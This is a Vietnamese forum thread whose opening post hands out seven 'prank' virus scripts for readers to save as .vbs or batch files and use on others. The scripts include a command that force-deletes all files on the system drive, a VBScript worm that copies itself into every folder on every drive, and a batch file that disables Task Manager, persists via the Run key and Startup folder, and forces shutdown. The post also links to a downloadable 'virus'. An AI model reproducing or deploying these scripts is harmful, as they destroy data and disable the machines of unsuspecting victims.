| 
Thành viên PC
Barack Obama
 »~åd¶v¶Îñ~»
| Tổng số bài gửi : 161
Danh tiếng : 0
gia nhập : 23/11/2009
 VNĐ : 128287
 
 |
|   Tiêu đề: Một trò chơi với virus | |
| |  | |  |  | nếu bạn là 1 người rãnh
ko có việc gì làm
lại thích chọc phá
thì đây 1 số con virus để các bác quậy chơi.
mở notepad copy dòng lệnh và save lại dưới dạng .vbs
lưu ý: tất cả đều save lại dưới dạng .vbs. chỉ có con virus 3 là down về rùi xài luôn khỏi làm gì hết
virus 1:
tác dụng: xóa tất cả các file trog thư mục systemdriver và tắt máy
- Code:
-
@ echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
virus 2:
tác dụng: Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.
- Code:
-
[color=black]'Thuoc Doc[/color] !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
save lại với tên: Thuoc_Doc.vbs
và đây là để xóa con virus này
- Code:
-
'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
fso.DeleteFile(f1.path & "---[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
FolderList(f1.Path)
Next
End sub
save lại với tên Thuoc_Giai.vbs
virus 3:
tác dụng:kua gái ! hơi ngộ nhưng thật ra là vậy. khi victim click vào nó sẽ hiện ra cái bảng và muốn biết nó ra sao về nhà test thử sẽ bik
link down
http://www.mediafire.com/?tzjztqrczjm
virus 4:
tác dụng: hiển thị 1 dòng lệnh khi click vào file or folder
- Code:
-
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","ban da bi toi khong che! mau tat may"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\ban da bi toi khong che! mau tat may"
virus 5:
tác dụng: không cho khởi động máy
- Code:
-
Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows
virus 6
tác dụng:hiển thị 1 dòng lệnh mỗi khi khởi động máy
- Code:
-
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersio n\Wi n Logon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
virus 7:
tác dụng: tắt explorer và tắt máy sau 5s
- Code:
-
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
cls
copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
cls
taskkill /f /im explorer.exe
cls
shutdown.exe -f -s -t 05 -c ".....error...."
cls
@echo off
echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!
echo GOOD BYE SEE YOU AGAIN
pause
del thelove.bat
các bạn có thể điều chỉnh thời gian tắt máy trong dòng "shutdown.exe -f -s -t 05 -c ".....error....""
số 05 đấy thấy ko. có thể thay đổi lại, tùy vào lòng nhân từ của bạn thôi!
Ghi Chú : những chố sky vík màu đó thì các bạn có thể đổi câu khác để thêm phần hấp dẩn | |  | |  |
«~coppy đường link này gửi đến bạn bè để ũng hộ diễn đàn~» | http://cba4.us.to/t26-topic |
|
|  | |
 23/11/2009, 20:04 | |
Thành viên PC
kibu_friendly
»~åd¶v¶Îñ~»
| Tổng số bài gửi : 92
Danh tiếng : 0
Birthday : 23/12/1993
gia nhập : 21/11/2009
tui~ : 30
 Thiên đường gọi tên
VNĐ : 1000004270
|
| | Tiêu đề: Re: Một trò chơi với virus | |
| | |
| | | |
| 24/11/2009, 09:09 | |
Thành viên PC
Iga (=^^=) Phó Admin
 »~¶v¶EmBeR~vÎp~»
| Tổng số bài gửi : 101
Danh tiếng : 0
Birthday : 30/05/1993
gia nhập : 21/11/2009
tui~ : 30
[X]CBa4_//_ Iga _//_ Với Iga không gì là không thể
VNĐ : 6261
Đang đi siu thị gom hàng!
|
| | Tiêu đề: Re: Một trò chơi với virus | |
| | |
| | | |
| 24/11/2009, 09:13 | |
Thành viên PC
Barack Obama
»~åd¶v¶Îñ~»
| Tổng số bài gửi : 161
Danh tiếng : 0
gia nhập : 23/11/2009
VNĐ : 128287
|
| | Tiêu đề: Re: Một trò chơi với virus | |
| | |
| | | |
| 26/11/2009, 20:20 | |
Thành viên PC
Iga (=^^=) Phó Admin
»~¶v¶EmBeR~vÎp~»
| Tổng số bài gửi : 101
Danh tiếng : 0
Birthday : 30/05/1993
gia nhập : 21/11/2009
tui~ : 30
[X]CBa4_//_ Iga _//_ Với Iga không gì là không thể
VNĐ : 6261
Đang đi siu thị gom hàng!
|
| | Tiêu đề: Re: Một trò chơi với virus | |
| | |
| | | |
| 26/11/2009, 20:26 | |
|
|
|
|
|
|
|
|
|
|
Số Chủ đề: 205 
